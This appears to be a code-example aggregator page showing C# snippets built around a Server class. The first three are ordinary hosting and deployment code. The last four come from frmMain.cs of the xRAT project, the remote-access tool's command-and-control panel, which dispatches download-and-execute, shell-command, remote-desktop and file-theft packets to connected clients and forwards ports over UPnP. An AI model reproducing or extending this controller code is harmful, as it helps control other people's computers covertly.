public Int32 ExecuteNonQueryServer(String query)
 {
     return _connection.ExecuteNonQuery(connection =>
     {
         Server server = new Server(new ServerConnection(connection));
         return server.ConnectionContext.ExecuteNonQuery(query);
     });
 }
예제 #2
0
		public static Server Create(IHostingModel hostingModel, string appFolder = null, string tempFolder = null) {
			string root = Path.GetFullPath(appFolder ?? DEFAULT_APP_FOLDER);
			if(rootFolders.Contains(root)) throw new AppServerException("There already a server with app root " + root);
			rootFolders.Add(root);
			string temp = Path.GetFullPath(tempFolder ?? Path.Combine(Path.GetTempPath(), "Kluwer", "Install"));
			Server server = new Server(hostingModel, root, temp);
			return (server);
		}
예제 #3
0
        private static void Main()
        {
            try {
                Logger.Initialize("log4net.config");
                Logger.Info(typeof(Program), "Started");

                Server server = ServerFactory.Create(new ProcessHostingModel(), @".\apps", @".\temp");
                server.Load();

                Application briljant;
                if (!server.TryGetApplication("Briljant", out briljant))
                {
                    briljant = server.CreateApplication("Briljant");
                    briljant.Deploy(FilePackage.Open(@"..\..\Briljant\briljant.zip")).Wait();
                }
                briljant.Start(Serializer.Serialize(new BriljantState {
                    Path = @"C:\Kluwer\Briljant\Admin\admin.exe", Version = 389
                }));

                Application alure;
                if (!server.TryGetApplication("Alure", out alure))
                {
                    alure = server.CreateApplication("Alure");
                    alure.Deploy(FilePackage.Open(@"..\..\Alure\alure.zip")).Wait();
                }
                alure.Start();

                Application cloudbox;
                if (!server.TryGetApplication("Cloudbox", out cloudbox))
                {
                    cloudbox = server.CreateApplication("Cloudbox");
                    cloudbox.Deploy(FilePackage.Open(@"..\..\Cloudbox\cloudbox.zip")).Wait();
                }
                cloudbox.Start();

                PackageWatcher alureWatcher = new PackageWatcher(@"..\..\Alure", "alure.zip", alure);
                alureWatcher.Start();

                ServerWatcher briljantPoller = new ServerWatcher(new Uri("https://localhost:44300"), briljant, TimeSpan.FromSeconds(10));
                briljantPoller.Start();

                Console.WriteLine("Press <ENTER> to stop...");
                Console.ReadLine();

                alureWatcher.Stop();
                briljantPoller.Stop();
                server.Stop();
                server.Dispose();
            } catch (Exception ex) {
                Logger.Error(ex);
            }

            Console.WriteLine("Press <ENTER> to exit...");
            Console.ReadLine();
        }
예제 #4
0
파일: frmMain.cs 프로젝트: nhz2f/xRAT
        private void clientRead(Server server, Client client, IPacket packet)
        {
            Type type = packet.GetType();

            if (!client.Value.isAuthenticated)
            {
                if (type == typeof(Core.Packets.ClientPackets.Initialize))
                    CommandHandler.HandleInitialize(client, (Core.Packets.ClientPackets.Initialize)packet, this);
                else
                    return;
            }

            if (type == typeof(Core.Packets.ClientPackets.Status))
            {
                CommandHandler.HandleStatus(client, (Core.Packets.ClientPackets.Status)packet, this);
            }
            else if (type == typeof(Core.Packets.ClientPackets.UserStatus))
            {
                CommandHandler.HandleUserStatus(client, (Core.Packets.ClientPackets.UserStatus)packet, this);
            }
            else if (type == typeof(Core.Packets.ClientPackets.DesktopResponse))
            {
                CommandHandler.HandleRemoteDesktopResponse(client, (Core.Packets.ClientPackets.DesktopResponse)packet);
            }
            else if (type == typeof(Core.Packets.ClientPackets.GetProcessesResponse))
            {
                CommandHandler.HandleGetProcessesResponse(client, (Core.Packets.ClientPackets.GetProcessesResponse)packet);
            }
            else if (type == typeof(Core.Packets.ClientPackets.DrivesResponse))
            {
                CommandHandler.HandleDrivesResponse(client, (Core.Packets.ClientPackets.DrivesResponse)packet);
            }
            else if (type == typeof(Core.Packets.ClientPackets.DirectoryResponse))
            {
                CommandHandler.HandleDirectoryResponse(client, (Core.Packets.ClientPackets.DirectoryResponse)packet);
            }
            else if (type == typeof(Core.Packets.ClientPackets.DownloadFileResponse))
            {
                CommandHandler.HandleDownloadFileResponse(client, (Core.Packets.ClientPackets.DownloadFileResponse)packet);
            }
            else if (type == typeof(Core.Packets.ClientPackets.GetSystemInfoResponse))
            {
                CommandHandler.HandleGetSystemInfoResponse(client, (Core.Packets.ClientPackets.GetSystemInfoResponse)packet);
            }
            else if (type == typeof(Core.Packets.ClientPackets.MonitorsResponse))
            {
                CommandHandler.HandleMonitorsResponse(client, (Core.Packets.ClientPackets.MonitorsResponse)packet);
            }
            else if (type == typeof(Core.Packets.ClientPackets.ShellCommandResponse))
            {
                CommandHandler.HandleShellCommandResponse(client, (Core.Packets.ClientPackets.ShellCommandResponse)packet);
            }
        }
예제 #5
0
파일: frmMain.cs 프로젝트: nhz2f/xRAT
 private void serverState(Server server, bool listening)
 {
     try
     {
         this.Invoke((MethodInvoker)delegate
         {
             botListen.Text = "Listening: " + listening.ToString();
         });
     }
     catch
     { }
 }
예제 #6
0
파일: frmMain.cs 프로젝트: nhz2f/xRAT
        private void frmMain_Load(object sender, EventArgs e)
        {
            listenServer = new Server(8192);

            listenServer.AddTypesToSerializer(typeof(IPacket), new Type[]
            {
                typeof(Core.Packets.ServerPackets.InitializeCommand),
                typeof(Core.Packets.ServerPackets.Disconnect),
                typeof(Core.Packets.ServerPackets.Reconnect),
                typeof(Core.Packets.ServerPackets.Uninstall),
                typeof(Core.Packets.ServerPackets.DownloadAndExecute),
                typeof(Core.Packets.ServerPackets.UploadAndExecute),
                typeof(Core.Packets.ServerPackets.Desktop),
                typeof(Core.Packets.ServerPackets.GetProcesses),
                typeof(Core.Packets.ServerPackets.KillProcess),
                typeof(Core.Packets.ServerPackets.StartProcess),
                typeof(Core.Packets.ServerPackets.Drives),
                typeof(Core.Packets.ServerPackets.Directory),
                typeof(Core.Packets.ServerPackets.DownloadFile),
                typeof(Core.Packets.ServerPackets.MouseClick),
                typeof(Core.Packets.ServerPackets.GetSystemInfo),
                typeof(Core.Packets.ServerPackets.VisitWebsite),
                typeof(Core.Packets.ServerPackets.ShowMessageBox),
                typeof(Core.Packets.ServerPackets.Update),
                typeof(Core.Packets.ServerPackets.Monitors),
                typeof(Core.Packets.ServerPackets.ShellCommand),
                typeof(Core.Packets.ServerPackets.Rename),
                typeof(Core.Packets.ServerPackets.Delete),
                typeof(Core.Packets.ServerPackets.Action),
                typeof(Core.Packets.ClientPackets.Initialize),
                typeof(Core.Packets.ClientPackets.Status),
                typeof(Core.Packets.ClientPackets.UserStatus),
                typeof(Core.Packets.ClientPackets.DesktopResponse),
                typeof(Core.Packets.ClientPackets.GetProcessesResponse),
                typeof(Core.Packets.ClientPackets.DrivesResponse),
                typeof(Core.Packets.ClientPackets.DirectoryResponse),
                typeof(Core.Packets.ClientPackets.DownloadFileResponse),
                typeof(Core.Packets.ClientPackets.GetSystemInfoResponse),
                typeof(Core.Packets.ClientPackets.MonitorsResponse),
                typeof(Core.Packets.ClientPackets.ShellCommandResponse)
            });

            listenServer.ServerState += serverState;
            listenServer.ClientState += clientState;
            listenServer.ClientRead += clientRead;

            if (XMLSettings.AutoListen)
            {
                if (XMLSettings.UseUPnP)
                    UPnP.ForwardPort(ushort.Parse(XMLSettings.ListenPort.ToString()));
                listenServer.Listen(XMLSettings.ListenPort);
            }
        }
예제 #7
0
파일: frmMain.cs 프로젝트: nhz2f/xRAT
        private void clientState(Server server, Client client, bool connected)
        {
            if (connected)
            {
                client.Value = new UserState(); // Initialize the UserState so we can store values in there if we need to.

                new Core.Packets.ServerPackets.InitializeCommand().Execute(client);
            }
            else
            {
                foreach (ListViewItem lvi in lstClients.Items)
                    if ((Client)lvi.Tag == client)
                    {
                        lvi.Remove();
                        server.ConnectedClients--;
                    }
                updateWindowTitle(listenServer.ConnectedClients, lstClients.SelectedItems.Count);
            }
        }